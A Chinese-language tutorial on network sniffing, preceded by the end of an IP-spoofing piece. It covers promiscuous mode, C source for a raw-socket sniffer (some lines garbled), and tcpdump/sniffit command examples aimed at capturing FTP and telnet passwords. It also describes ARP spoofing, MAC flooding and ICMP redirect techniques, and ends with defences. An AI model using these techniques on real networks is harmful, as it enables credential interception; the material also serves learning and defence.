虽然IP欺骗攻击有着相当难度，但我们应该清醒地意识到，这种攻击非常广泛，入侵往往由这里开始。预防这种攻击还是比较容易的， 比如删除所有的/etc/hosts.equiv、$HOME/.rhosts文件，修改/etc/ inetd.conf文件，使得RPC机制无法运做，还可以杀掉portmapper等等。设置路由器，过滤来自外部而信源地址却是内部IP的报文。cisio公司的产品就有这种功能。不过路由器只防得了外部入侵，内部入侵呢？

TCP的ISN选择不是随机的，增加也不是随机的，这使攻击者有规可循，可以修改与ISN相关的代码，选择好的算法，使得攻击者难以找到规律。估计Linux下容易做到，那solaris、irix、hp-unix还有aix呢？sigh

虽然写的不怎么，但总算让大家了解了一下IP欺骗攻击，我实验过预测sequence number，不是ISN，企图切断一个TCP连接，感觉难度很大。作者建议要找到规律，不要盲目预测，这需要时间和耐心。现在越发明白什么是那种锲而不舍永远追求的精神，我们所向往的传奇故事背后有着如此沉默的艰辛和毅力，但愿我们学会的是这个，而不是浮华与喧嚣。一个现成的bug足以让你取得root权限，可你在做什么，你是否明白？我们太肤浅了......


嗅探的基本原理
一 前言

    SNIFF真是一个古老的话题，关于在网络上采用SNIFF来获取敏感信息已经不是什么新鲜事，也不乏很多成功的案例，那么，SNIFF究竟是什么呢？ SNIFF就是嗅探器，就是窃听器，SNIFF静悄悄的工作在网络的底层，把你的秘密全部记录下来。看过威尔史密斯演的《全民公敌》吗？SNIFF就象里面精巧的窃听器一样，让你防不胜防。

    SNIFF可以是软件，也可以是硬件，既然是软件那就要分平台，有WINDOWS下的、UNXI下的等，硬件的SNIFF称为网络分析仪，反正不管硬件软件，目标只有一个，就是获取在网络上传输的各种信息。本文仅仅介绍软件的SNIFF。

    当你舒适的坐在家里，惬意的享受网络给你带来的便利，收取你的EMAIL，购买你喜欢的物品的时候，你是否会想到你的朋友给你的信件，你的信用卡帐号变成了一个又一个的信息包在网络上不停的传送着，你是否曾经这些信息包会通过网络流入别人的机器呢？你的担忧不是没有道理的，因为SNIFF可以让你的担忧变成实实在在的危险。就好象一个人躲在你身后偷看一样。。。。。。

二 网络基础知识

  “网络基础知识”，是不是听起来有点跑题了？虽然听起来这和我们要谈的SNIFF没什么关系，可是还是要说一说的，万丈高楼平地起，如果连地基都没打好，怎么盖楼？！如果你对网络还不是十分清楚的话，最好能静下心来好好看看，要知道，这是基础的基础，在这里我只是简单的说一下，免得到时候有人迷糊，详细的最好能够自己去找书看看。

（1）TCP/IP体系结构

    开放系统互连（OSI）模型将网络划分为七层模型，分别用以在各层上实现不同的功能，这七层分别为：应用层、表示层、会话层、传输层、网络层、数据链路层及物理层。而TCP/IP体系也同样遵循这七层标准，只不过在某些OSI功能上进行了压缩，将表示层及会话层合并入应用层中，所以实际上我们打交道的TCP/IP仅仅有5层而已，网络上的分层结构决定了在各层上的协议分布及功能实现，从而决定了各层上网络设备的使用。实际上很多成功的系统都是基于OSI模型的，如：如帧中继、ATM、ISDN等。

     TCP/IP的网络体系结构（部分）

-----------------------------------
| SMTP | DNS | HTTP | FTP | TELNET| 应用层
-----------------------------------
| 　 　TCP 　 　|　 　UDP 　 　 　|　 传输层
-----------------------------------
| 　IP　 | 　 ICMP 　　| ARP RARP | 网络层
------------------------
| IEEE 802 以太网 SLIP/PPP PDN etc| 数据链路层
-----------------------------------
|　 　　网卡 电缆 双绞线 etc 　　 | 物理层
-----------------------------------

    从上面的图中我们可以看出，第一层物理层和第二层数据链路层是TCP/IP的基础，而TCP/IP本身并不十分关心低层，因为处在数据链路层的网络设备驱动程序将上层的协议和实际的物理接口隔离开来。网络设备驱动程序位于介质访问子层(MAC)。

（2）网络上的设备

中继器：中继器的主要功能是终结一个网段的信号并在另一个网段再生该信号，一句话，就是简单的放大而已，工作在物理层上。

网 桥：网桥使用MAC物理地址实现中继功能，可以用来分隔网段或连接部分异种网络，工作在数据链路层。

路由器：路由器使用网络层地址(IP,X.121,E.164等)，主要负责数据包的路由寻径，也能处理物理层和数据链路层上的工作。

网 关：主要工作在网络第四层以上，主要实现收敛功能及协议转换，不过很多时候网关都被用来描述任何网络互连设备。

（3）TCP/IP与以太网

    以太网和TCP/IP可以说是相互相成的，可以说两者的关系几乎是密不可分，以太网在一二层提供物理上的连线，而TCP/IP工作在上层，使用32位的IP地址，以太网则使用48位的MAC地址，两者间使用ARP和RARP协议进行相互转换。从我们上面TCP/IP的模型图中可以清楚的看到两者的关系。

    载波监听/冲突检测(CSMA/CD)技术被普遍的使用在以太网中，所谓载波监听是指在以太网中的每个站点都具有同等的权利，在传输自己的数据时，首先监听信道是否空闲，如果空闲，就传输自己的数据，如果信道被占用，就等待信道空闲。而冲突检测则是为了防止发生两个站点同时监测到网络没有被使用时而产生冲突。以太网采用广播机制，所有与网络连接的工作站都可以看到网络上传递的数据。

    为了加深你的理解，我们来看看下面的图，一个典型的在以太网中客户与服务器使用TCP/IP协议的通信。

用户进程 FTP客户 FTP服务器 　应用层
| |
内核中的协议栈 TCP TCP 　传输层
| |
内核中的协议栈 IP IP 　网络层
| |
以太网驱动程序 以太网驱动程序 　数据链路层

──────-------------------------------
以太网

     ??唆唆了这么多，有人烦了吧？相信我，这是基础的基础，可以说是说得是很简单拉，如果需要，拿出个几十万字来说上面的内容，我想也不嫌多，好了，让我们进入下一节，sniff的原理。

三 SNIFF的原理

  要知道在以太网中，所有的通讯都是广播的，也就是说通常在同一个网段的所有网络接口都可以访问在物理媒体上传输的所有数据，而每一个网络接口都有一个唯一的硬件地址，这个硬件地址也就是网卡的MAC地址，大多数系统使用48比特的地址，这个地址用来表示网络中的每一个设备，一般来说每一块网卡上的MFC地址都是不同的，每个网卡厂家得到一段地址，然后用这段地址分配给其生产的每个网卡一个地址。在硬件地址和IP地址间使用ARP和RARP协议进行相互转换。

   在正常的情况下，一个网络接口应该只响应这样的两种数据帧：

     1.与自己硬件地址相匹配的数据帧。　 　　 　　　　 　　 　　　　 　　 　　 　　 　　 　 　　 　　　　 　　 　　 　　 　　 　　 2.发向所有机器的广播数据帧。

  在一个实际的系统中，数据的收发是由网卡来完成的，网卡接收到传输来的数据，网卡内的单片程序接收数据帧的目的MAC地址，根据计算机上的网卡驱动程序设置的接收模式判断该不该接收，认为该接收就接收后产生中断信号通知CPU，认为不该接收就丢掉不管，所以不该接收的数据网卡就截断了，计算机根本就不知道。CPU得到中断信号产生中断，操作系统就根据网卡的驱动程序设置的网卡中断程序地址调用驱动程序接收数据，驱动程序接收数据后放入信号堆栈让操作系统处理。而对于网卡来说一般有四种接收模式：

     广播方式：该模式下的网卡能够接收网络中的广播信息。　　　　　　　 　　 　　 　　 　　 　　 　　 　　 　 　　 　　　　 　　　　 组播方式：设置在该模式下的网卡能够接收组播数据。 　　　 　　　 　　　　 　　 　　 　　 　　 　　 　　 　　 　 　　 　　　　　直接方式：在这种模式下，只有目的网卡才能接收该数据。 　　　　　　 　　　　 　　 　　 　　 　　 　　 　　 　　 　 　　 　　　混杂模式：在这种模式下的网卡能够接收一切通过它的数据，而不管该数据是否是传给它的。

  好了，现在我们总结一下，首先，我们知道了在以太网中是基于广播方式传送数据的，也就是说，所有的物理信号都要经过我的机器，再次，网卡可以置于一种模式叫混杂模式（promiscuous），在这种模式下工作的网卡能够接收到一切通过它的数据，而不管实际上数据的目的地址是不是他。这实际上就是我们SNIFF工作的基本原理：让网卡接收一切他所能接收的数据。

（图一）

  我们来看一个简单的例子，如图一所示，机器A、B、C与集线器HUB相连接，集线器HUB通过路由器Router访问外部网络。这是一个很简单也很常见的情况，比如说在公司大楼里，我所在的网络部办公室里的几台机器通过集线器连接，而网络部、开发部、市场部也是同样如此，几个部门的集线器通过路由器连接。还是回到我们的图一上来，值得注意的一点是机器A、B、C使用一个普通的HUB连接的，不是用SWITCH，也不是用ROUTER，使用SWITCH和ROUTER的情况要比这复杂得多。

  我们假设一下机器A上的管理员为了维护机器C，使用了一个FTP命令向机器C进行远程登陆，那么在这个用HUB连接的网络里数据走向过程是这样的。首先机器A上的管理员输入的登陆机器C的FTP口令经过应用层FTP协议、传输层TCP协议、网络层IP协议、数据链路层上的以太网驱动程序一层一层的包裹，最后送到了物理层，我们的网线上。接下来数据帧送到了HUB上，现在由HUB向每一个接点广播由机器A发出的数据帧，机器B接收到由HUB广播发出的数据帧，并检查在数据帧中的地址是否和自己的地址相匹配，发现不是发向自己的后把这数据帧丢弃，不予理睬。而机器C也接收到了数据帧，并在比较之后发现是发现自己的，接下来他就对这数据帧进行分析处理。

  在上面这个简单的例子中，机器B上的管理员如果很好奇，他很想知道究竟登陆机器C上FTP口令是什么？那么他要做的很简单，仅仅需要把自己机器上的网卡置于混杂模式，并对接收到的数据帧进行分析，从而找到包含在数据帧中的口令信息。

四 做一个自己的sniff

  在上一节里，我们已经知道了SNIFF的基本原理是怎么一回事，这一节我们来亲自动手做一个自己的sniff，毕竟，用程序代码来说话比什么都要来得真实，也容易加深理解。

   回头想一想我们上面说的原理，我们要做的事情有几件：

     1. 把网卡置于混杂模式。　 　　 　　　　 　　 　　 　　 　　　　 　　 　　 　 　　 　　　　 　　 　　 　　 　　 　 　　 　　　 2. 捕获数据包。　 　　 　　　　 　　 　　 　　 　　 　　 　　 　　　 　　 　　　　 　　 　　 　　 　　 　 　　 　 　　 　　　 3. 分析数据包。

注：下面的源代码取至Chad Renfro的 >一文中
/************************Tcp_sniff_2.c********************/
1.#include
2.#include
3.#include
4.#include
5.#include
6.#include
7.#include
8.#include
9.#include "headers.h"

#define INTERFACE "eth0"

  /*Prototype area*/

10.int Open_Raw_Socket(void);
11.int Set_Promisc(char *interface, int sock);
12.int main() {
13.int sock, bytes_recieved, fromlen;
14.char buffer[65535];
15.struct sockaddr_in from;
16.struct ip *ip;
17.struct tcp *tcp;
18.sock = Open_Raw_Socket();
19. Set_Promisc(INTERFACE, sock);

20. while(1)
22. {
23. fromlen = sizeof from;
24. bytes_recieved = recvfrom(sock, buffer, sizeof buffer, 0, (struct sockaddr *)&from, &fromlen);
25. printf("\nBytes received ::: %5d\n",bytes_recieved);
26. printf("Source address ::: %s\n",inet_ntoa(from.sin_addr));
27. ip = (struct ip *)buffer;
/*See if this is a TCP packet*/
28. if(ip->ip_protocol == 6) {
29. printf("IP header length ::: %d\n",ip->ip_length);
30. printf("Protocol ::: %d\n",ip->ip_protocol);
31. tcp = (struct tcp *)(buffer + (4*ip->ip_length));
32. printf("Source port ::: %d\n",ntohs(tcp->tcp_source_port));
33. printf("Dest port ::: %d\n",ntohs(tcp->tcp_dest_port));
34. }

35. }
36.}
37.int Open_Raw_Socket() {
38. int sock;
39. if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) /*Then the socket was not created properly and must die*/
40. perror("The raw socket was not created");
41. exit(0);
42. };
43. return(sock);
44. }

45.int Set_Promisc(char *interface, int sock ) {
46. struct ifreq ifr;
47. strncpy(ifr.ifr_name, interface,strnlen(interface)+1);
48. if((ioctl(sock, SIOCGIFFLAGS, &ifr) == -1)) {
/*Could not retrieve flags for the interface*/
49. perror("Could not retrive flags for the interface");
50. exit(0);
51. }
52. printf("The interface is ::: %s\n", interface);
53. perror("Retrieved flags from interface successfully");
54. ifr.ifr_flags |= IFF_PROMISC;
55. if (ioctl (sock, SIOCSIFFLAGS, &ifr) == -1 ) {
/*Could not set the flags on the interface */
56. perror("Could not set the PROMISC flag:");
57. exit(0);
58. }
59. printf("Setting interface ::: %s ::: to promisc", interface);
60. return(0);
61. }

/***********************EOF**********************************/

    上面这段程序中有很详细的注解，不过我想还是有必要说一说，首先第10行--int Open_Raw_Socket(void);　是我们的自定义函数，具体内容如下：

37.int Open_Raw_Socket() {
38. int sock;
39. if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) /*Then the socket was not created properly and must die*/
40. perror("The raw socket was not created");
41. exit(0);
42. };
43. return(sock);
44. }

第39行 if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP))
这里我们调用了socket函数，使创建了了一个原始套接口，使之收到TCP/IP信息包。

    接下来第11行-int Set_Promisc(char *interface, int sock)，这也是我们的自定义函数，目的是把网卡置于混杂模式，具体内容如下：
45.int Set_Promisc(char *interface, int sock ) {
46. struct ifreq ifr;
47. strncpy(ifr.ifr_name, interface,strnlen(interface)+1);
48. if((ioctl(sock, SIOCGIFFLAGS, &ifr) == -1)) {
/*Could not retrieve flags for the interface*/
49. perror("Could not retrive flags for the interface");
50. exit(0);
51. }
52. printf("The interface is ::: %s\n", interface);
53. perror("Retrieved flags from interface successfully");
54. ifr.ifr_flags |= IFF_PROMISC;
55. if (ioctl (sock, SIOCSIFFLAGS, &ifr) == -1 ) {
/*Could not set the flags on the interface */
56. perror("Could not set the PROMISC flag:");
57. exit(0);
58. }
59. printf("Setting interface ::: %s ::: to promisc", interface);
60. return(0);
61. }

    首先 struct ifreq ifr; 定一了一个ifrreg的结构ifr，接下来 strncpy(ifr.ifr_name, interface,strnlen(interface)+1);，就是把我们网络设备的名字填充到ifr结构中，在这里 #define INTERFACE "eth0" ，让我们再往下看,ioctl(sock, SIOCGIFFLAGS, &ifr),SIOCGIFFLAGS请求表示需要获取接口标志，现在到了第54行，在我们成功的获取接口标志后把他设置成混杂模式，ifr.ifr_flags |= IFF_PROMISC;ioctl (sock, SIOCSIFFLAGS, &ifr)。OK，现在我们所说的第一步已经完成--------把网卡置于混杂模式。

    现在进入第二步，捕获数据包。从第20行开始，我们进入了一个死循环，while(1)，在第24行，recvfrom(sock, buffer, sizeof buffer, 0, (struct sockaddr *)&from, &fromlen)，这个函数要做的就是接收数据，冰把接收到的数据放入buffer中。就是这么简单，已经完成了我们要捕获数据包的任务。

    到了第三步，分析数据包。27行，ip = (struct ip *)buffer，使我们在头文件中的IP结构对应于所接收到的数据，接下来判断在网络层中是否使用的是TCP协议，if(ip->ip_protocol == 6) ，如果答案是，tcp信息包从整个IP/TCP包 buffer + (4*ip->ip_length) 地址处开始，所以31行 tcp = (struct tcp *)(buffer + (4*ip->ip_length))，然后对应结构把你所需要的信息输出。
/*************************headers.h**************************/
/*structure of an ip header*/
struct ip {
unsigned int ip_length:4; /*little-endian*/
unsigned int ip_version:4;
unsigned char ip_tos;
unsigned short ip_total_length;
unsigned short ip_id;
unsigned short ip_flags;
unsigned char ip_ttl;
unsigned char ip_protocol;
unsigned short ip_cksum;
unsigned int ip_source; unsigned int ip_dest;
};

/* Structure of a TCP header */
struct tcp {
unsigned short tcp_source_port;
unsigned short tcp_dest_port;
unsigned int tcp_seqno;
unsigned int tcp_ackno;
unsigned int tcp_res1:4, /*little-endian*/
tcp_hlen:4,
tcp_fin:1,
tcp_syn:1,
tcp_rst:1,
tcp_psh:1,
tcp_ack:1,
tcp_urg:1,
tcp_res2:2;
unsigned short tcp_winsize;
unsigned short tcp_cksum;
unsigned short tcp_urgent;
};
/*********************EOF***********************************/

  从上面的分析我们可以清楚的认识到，认识一个SNIFF需要对TCP/IP协议有着详细的了解，否则你根本无法找到你需要的信息。有了上面的基础，你可以自己来做一个你需要的SNIFF了。

五 常用的SNIFF

  很少有原因会让你自己亲自动手来做一个自己的SNIFF，除非你是想了解他的原理，或者是其他一些特别的原因，比如你要在某个特殊的环境拦截一些特殊的数据包。下面我们就来看看一些在网络上经常使用的SNIFF。

（1）windows环境下

   windows环境下当然是大名鼎鼎的netxray以及sniffer pro了，实际上很多人都是用他在windows环境下抓包来分析，不过我想很少有人笨到去在别人的机器上安装一个图形界面的SNIFF，除非他和管理员很熟悉........ netxray的使用就不多说了，反正windows下的东西就是click，click，click，非常的方便用户。

（2）UNUX环境下

   UNUX环境下的sniff可以说是百花齐放，一抓就是一大把,如sniffit，snoop,tcpdump,dsniff等都是比较常见的，他们都有一个好处就是发布源代码，可以让你研究，当然也都是免费的：）

1. sniffit

   sniffit可以运行在Solaris、SGI和Linux等平台上，由Lawrence Berkeley Laboratory 实验室开发的一个免费的网络监听软件。最近Sniffit 0.3.7也推出了NT版本，并也支持WINDOWS2000.

使用方法:
-v 显示版本信息
-a 以ASCII形式将监听的结果输出。
-A 在进行记录时，所有不可打印的字符都用代替
-b 等同于同时使用参数-t & -s。
-d 将监听所得内容以十六进制方式显示在当前终端
-p 记录连接到的包，0为所有端口。缺省为0。
-P protocol 选择要检查的协议，缺省为TCP。可能的选择有IP、TCP、ICMP、UDP和他们的组合。
-s 指定sniffer 检查从 发送的数据包。 -t 指定sniffer 检查发送到的数据包。
-i 进入交互模式
-l 设定数据包大小，default是300字节
注：参数可以用@来表示一个IP范围，比如 -t 192.168.@ -t和-s 只适用于TCP/UDP数据包，对于ICMP和IP也进行解释。但如果只选择了-p参数，则只用于TCP和UDP包。

举例说明:

#sniffit -a -p 21 -t xxx.xxx.xxx.xxx

监听流向机器xxx.xxx.xxx.xxx的21端口(FTP)的信息,并以ASCII显示

#sniffit -d -p 23 -b xxx.xxx.xxx.xxx

监听所有流出或流入机器xxx.xxx.xxx.xxx的23端口(telnet)的信息，并以16进制显示

你可以在这里找到sniffit http://reptile.rug.ac.be/~coder/sniffit/sniffit.html

2. snoop

   snoop默认情况安装在Solaris下，是一个用于显示网络交通的程序，不过SNIFF是把双刃剑，既然管理员能用他来监视自己的网络，当然一个心怀恶意的入侵者也可以用他来SNIFF自己感兴趣的内容。值得一提的是， SNOOP被发现存在一个缓冲区溢出漏洞，当以导致入侵者以运行snoop(通常为root)的身份远程进入系统。这是题外话，暂且就此打住。

使用方法：
[ -a ] # Listen to packets on audio
[ -d device ] # settable to le?, ie?, bf?, tr?
[ -s snaplen ] # Truncate packets
[ -c count ] # Quit after count packets
[ -P ] # Turn OFF promiscuous mode
[ -D ] # Report dropped packets
[ -S ] # Report packet size
[ -i file ] # Read previously captured packets
[ -o file ] # Capture packets in file
[ -n file ] # Load addr-to-name table from file
[ -N ] # Create addr-to-name table
[ -t r|a|d ] # Time: Relative, Absolute or Delta
[ -v ] # Verbose packet display
[ -V ] # Show all summary lines
[ -p first[,last] ] # Select packet(s) to display
[ -x offset[,length] ] # Hex dump from offset for length
[ -C ] # Print packet filter code

例如：

#snoop -o saved A B

监听机器A与B的谈话，并把内容存储于文件saved中

3. tcpdump

   tcpdmp也算是一个很有名气的网络监听软件，FREEBSD还把他附带在了系统上，是一个被很多UNIX高手认为是一个专业的网络管理工具。

使用方法:
   tcpdump采用命令行方式，它的命令格式为：
tcpdump [ -adeflnNOpqStvx ][ -c 数量 ][ -F 文件名 ][ -i 网络接口 ][ -r 文件名][ -s snaplen ][ -T 类型 ][ -w 文件名 ][表达式 ]
1. tcpdump的选项介绍
-a 　　　将网络地址和广播地址转变成名字；
-d 　　　将匹配信息包的代码以人们能够理解的汇编格式给出；
-dd 　　 将匹配信息包的代码以c语言程序段的格式给出；
-ddd 　　将匹配信息包的代码以十进制的形式给出；
-e 　　　在输出行打印出数据链路层的头部信息；
-f 　　　将外部的Internet地址以数字的形式打印出来；
-l 　　　使标准输出变为缓冲行形式；
-n 　　　不把网络地址转换成名字；
-t 　　　在输出的每一行不打印时间戳；
-v 　　　输出一个稍微详细的信息，例如在ip包中可以包括ttl和服务类型的信息；
-vv 　　　输出详细的报文信息；
-c 　　　在收到指定的包的数目后，tcpdump就会停止；
-F 　　　从指定的文件中读取表达式,忽略其它的表达式；
-i 　　　指定监听的网络接口；
-r 　　　从指定的文件中读取包(这些包一般通过-w选项产生)；
-w 　　　直接将包写入文件中，并不分析和打印出来；
-T 　　　将监听到的包直接解释为指定的类型的报文，常见的类型有rpc和snmp

2. tcpdump的表达式介绍

  表达式是一个正则表达式，tcpdump利用它作为过滤报文的条件，如果一个报文满足表达式的条件，则这个报文将会被捕获。如果没有给出任何条件，则网络上所有的信息包将会被截获。

  在表达式中一般如下几种类型的关键字，一种是关于类型的关键字，主要包括host，net，port, 例如 host 210.27.48.2，指明 210.27.48.2是一台主机，net 202.0.0.0 指明 202.0.0.0是一个网络地址，port 23 指明端口号是23。如果没有指定类型，缺省的类型是host.

   第二种是确定传输方向的关键字，主要包括src , dst ,dst or src, dst and src ,这些关键字指明了 传输的方向。举例说明，src 210.27.48.2 ,指明ip包中源地址是210.27.48.2 , dst net 202.0.0.0 指明目的网络地址是202.0.0.0 。如果没有指明方向关键字，则缺省是src or dst关键字。

   第三种是协议的关键字，主要包括fddi,ip ,arp,rarp,tcp,udp等类型。Fddi指明是在FDDI(分布式光纤数据接口网络)上的特定的网络协议，实际上它是"ether"的别名，fddi和ether具有类似的源地址和目的地址，所以可以将fddi协议包当作ether的包进行处理和分析。其他的几个关键字就是指明了监听的包的协议内容。如果没有指定任何协议，则tcpdump将会监听所有协议的信息包。

   除了这三种类型的关键字之外，其他重要的关键字如下：gateway, broadcast,less,greater,还有三种 逻辑运算，取非运算是 'not ' '! ', 与运算是'and','&&';或运算 是'or' ,'||'。

举例使用:

#tcpdump host AAA.BBB.CCC.DDD

将监听IP地址为AAA.BBB.CCC.DDD的机器的通话

#tcpdump tcp port 23 host AAA.BBB.CCC.DDD

将监听IP地址为AAA.BBB.CCC.DDD的机器的23端口的通话

4. dsniff

  之所以要谈谈dsniff，是因为他不仅仅是一个sniff，在他的整个套件包中，包含了很多其它有用的工具，如arpspoof，dnsspoof，macof，tcpkill等等，SNIFF的手段更加的多样和复杂化。dsniff是由DugSong开发的你可以在他的主页上找到这个工具。 目前dsniff支持OpenBSD (i386), Redhat Linux (i386), 和Solaris (sparc). 并且在FreeBSD, Debian Linux, Slackware Linux, AIX, 和HP-UX上也能运转得很好。但是dsniff需要几个其他的第三方软件进行支持，他们分别是，Berkeley DB ，OpenSSL， libpcap， libnet， libnids。如果条件允许的话，你最好能够亲自读一读dsniff的源代码，你可以在 http://naughty.monkey.org/~dugsong/ 找到dsniff。

六 深入sniff

  单纯的sniff的功能始终是局限的，所以在大多数的情况下，sniff往往和其他手段结合起来使用，sniff和spoof已及其他技术手段结合在一起对网络构成的危害是巨大的。单纯的sniff好比缺了一只腿，无法发挥大的作用，例如在sniff原理一节中我们讨论的例子里，我一再的强调我们使用的是一个普通的HUB进行连接是有原因的，如果我们把在图一中的HUB用一个switch代替，那情况就要复杂一些了，如图二所示：

图（二）

  在图二中，我们的机器A、B、C与Switch相连接，而Switch通过路由器Router访问外部网络。我们先来了解Switch的工作原理：

   在我们图一中的 HUB 只是简单地把所接收到的信号通过所有端口（除了信号来的那个口）重复发送出去不同，而图二中的Switch却可以检查每一个收到的数据包，并对数据包进行相应的处理。在Switch内保存着每一个网段上所有节点的物理地址，只允许必要的网络流量通过Switch。举例来说，当Switch接收到一个数据包之后，根据自身保存的网络地址表检查数据包内包含的发送和接收方地址。如果接收方位于发送方网段，该数据包就会被Switch丢弃，不能通过交换机传送到其它的网段；如果接收方和发送方位于两个不同的网段，该数据包就会被Switch转发到目标网段。这样，通过交换机的过滤和转发，可以有效避免网络广播风暴，减少误包和错包的出现。顺便说一句，现在Switch和HUB的价格相去无几，所以hub正逐渐被网络交换机取代。

  现在回到我们的例子中来，在图二中仍然和图一一样，我们假设机器A上的管理员为了维护机器C，使用了一个FTP命令向机器C进行远程登陆，那么在这里，数据是这样走的：首先机器A上的管理员输入的登陆机器C的FTP口令经过应用层FTP协议、传输层TCP协议、网络层IP协议、数据链路层上的以太网驱动程序一层一层的包裹，最后送到了物理层，我们的网线上。接下来数据帧送到了Switch上，而Switch检查数据帧中的目的地址，并在他自身保存的网络地址表中知道了他应该把这数据帧发到机器C那里，于是，接下来机器C接收到了从A发来的信息，发现他是发给自己的信息，于是进行分析处理。

   OK，现在我们机器B上的管理员的好奇心只能深深的埋藏在心里了，因为数据包根本就没有经过他，就算他把自己的网卡设置成混杂模式也是有力无处使。

  在了解在一个Switch环境下原理后，我们结合一些手段去设法sniff，是的，我们可以做到这一点，有许多的手段可以让管理员B满足他的好奇心，在下面我会提出几个办法，当然只是其中的一些办法而已。

1 ARP Spoof

   在基于IP通信的内部网中，我们可以使用 ARP Spoof 的手段，了解什么是ARP Spoof的前提你先要明白一下什么是ARP和RARP协议，什么是MAC地址，什么又是IP地址。ARP协议是地址转换协议，RARP被称为反向地址转换协议,他们负责把IP地址和MAC地址进行相互转换对应。

   ARP Spoof 攻击的根本原理是因为计算机中维护着一个 ARP 高速缓存，并且这个ARP 高速缓存是随着计算机不断的发出ARP请求和收到ARP响应而不断的更新的，ARP 高速缓存的目的是把机器的IP地址和MAC地址相互映射。你可以使用 arp 命令来查看你自己的 ARP 高速缓存。现在设想一下，一个Switch工作在数据链路层，他根据MAC地址来转发他所接收的数据包，而计算器维护的 ARP 高速缓存却是动态的......你想到什么了吗？

   为了加深理解，现在给我们的机器编上号，机器A：IP地址为 10.0.0.1 ,MAC地址为 20-53-52-43-00-01 ,机器B：IP地址为 10.0.0.2 ,MAC地址为 20-53-52-43-00-02,机器C：IP地址为 10.0.0.3 ,MAC地址为 20-53-52-43-00-03 。现在机器B上的管理员是个聪明的家伙，他向机器A发出一个 ARP Reply （协议没有规定一定要等ARP Request出现才 能发送ARP Reply，也没有规定一定要发送过ARP Request才能接收ARP Reply），其中的目的IP地址为10.0.0.1，目的MAC地址为 20-53-52-43-00-01 ，而源IP地址为10.0.0.3，源MAC地址为 20-53-52-43-00-02 ，好了，现在机器A更新了他的 ARP 高速缓存，并相信了IP地址为10.0.0.3的机器的MAC地址是 20-53-52-43-00-02 。当机器A上的管理员发出一条FTP命令时---ftp 10.0.0.3，数据包被送到了Switch，Switch查看数据包中的目的地址，发现MAC为 20-53-52-43-00-02 ，于是，他把数据包发到了机器B上。再设想一下，如果不想影响A和C之间的通信该怎么办？你可以同时欺骗他们双方，来一个 man-in-middle 。

  当然，在实际的操作中你还需要考虑到一些其他的事，比如某些操作系统在会主动的发送ARP请求包来更新相应的ARP入口等。

2. MAC Flooding

  在上面我们曾经提到过，Switch之所以能够由数据包中目的MAC地址判断出他应该把数据包发送到那一个端口上是根据他本身维护的一张地址表。这张地址表可能是动态的也可能是静态的，这要看Switch的厂商和Switch的型号来定，对于某些Switch来说，他维护的是一张动态的地址表，并且地址表的大小是有上限的，比如　3com Superstack Switch 3300 （3c16981 Hardware v.1 Software v.2.10）　就是这样一种Switch，我们可以通过发送大量错误的地址信息而使SWITCH维护的地址表“溢出”，从而使他变成广播模式来达到我们要 sniff 机器A与机器C之间的通信的目的。

3. Fake the MAC address

  伪造MAC地址也是一个常用的办法，不过这要基于你网络内的Switch是动态更新其地址表，这实际上和我们上面说到的 ARP Spoof 有些类似，只不过现在你是想要Switch相信你，而不是要机器A相信你。因为Switch是动态更新其地址表的，你要做的事情就是告诉Switch：HI,我是机器C。换成技术上的问题你只不过需要向Switch发送伪造过的数据包，其中源MAC地址对应的是机器C的MAC地址，现在Switch就把机器C和你的端口对应起来了。不过其中存在一个问题，现在机器C也会说了：HI，Switch老大，我才是机器C呢！，现在你该怎么办？切，还用问！让他说不了话就可以了，DOS还是其他什么，随便你了......

4. ICMP Router Advertisements

   这主要是由ICMP路由器发现协议(IRDP)的缺陷引起的，在Windows 95、98、2000及SunOS、Solaris 2.6等系统中，都使用了IRDP协议，SunOS系统只在某些特定的情况下使用该协议，而Windows95 ,Windows95b, Windows98, Windows98se, 和 Windows2000都是默认的使用IRDP协议。 IRDP协议的主要内容就是告诉人们谁是路由器，设想一下，一个HACK利用IRDP宣称自己是路由器的情况会有多么的糟糕！所有相信HACK的请求的机器把他们所有的数据都发送给HACK所控制的机器.........

5. ICMP Redirect

  所谓ICMP重定向，就是指告诉机器向另一个不同的路由发送他的数据包，ICMP重定向通常使用在这样的场合下，假设A与B两台机器分别位于同一个物理网段内的两个逻辑子网内，而A和B都不知道这一点，只有路由器知道，当A发送给B的数据到达路由器的时候，路由器会向A送一个ICMP重定向包裹，告诉A：HI，别再送数据给我转交了，你就直接送到B那里就可以了。设想一下，一个hack完全可以利用这一点，使得A发送给B的数据经过他。

  上面提到的这些方法只不是其中的一些，为了配合sniff能够工作得更有效率，还有其他许多的办法，其实sniff的目的说穿了只有一个，就是抓包，从抓包这个概念上引伸下去，所有为了能够抓到网络上的信息包而采用的技术都可以归入sniff，单纯的sniff是没有什么效率的。你还能想到什么吗？进攻路由器，在路由器上放置sniff......，在系统内核中植入sniff......等等。

七 如何防止SNIFF

  防止sniff最有效的手段就是进行合理的网络分段，并在网络中使用交换机和网桥，在理想的情况下使每一台机器都拥有自己的网络段，当然这会使你的网络建设费用增加很多，所以你可以尽量使相互信任的机器属于同一个网段，使他们互相之间不必担心sniff的存在。并在网段于网段间进行硬件屏障。你也可以使用加密技术对你在网络中传送的敏感数据如户ID或口令，你的银行帐号，商业机密等进行加密，你可以选用ＳＳＨ等加密手段。为了防止ARP欺骗，你可以使用永久的ＡＲＰ缓存条目，反正上面的攻击手段和原理你也看了，你就反过来想想该怎么办好了。不过有盾必有矛，平时的安全意识才是最重要的。

  （注：以下关于AntiSniff的介绍取至backend翻译整理的L0pht AntiSniff 技术文档一文）

   当你做做层层保护后，你还是怀疑自己的网络上存在sniff该怎么办？ L0pht 小组为了探测sniff专门发布了一个软件　AntiSniff，当然这个软件不是免费的：）,AntiSniff 工具用于检测局域网中是否有机器处于混杂模式，AntiSniff Version 1.x被设计为运行在以太网的Windows系统中，提供了简单易用的图形用户界面，AntiSniff Version 1.x　主要工作在非交换环境下的本地网段中，如果运行在交换环境下其功能将大打折扣。AntiSniff Ver 2.0 将不但能在本地网段中，而且能够穿过路由器和交换机进行工作。

◆ 操作系统类特殊测试

Linux 内核测试

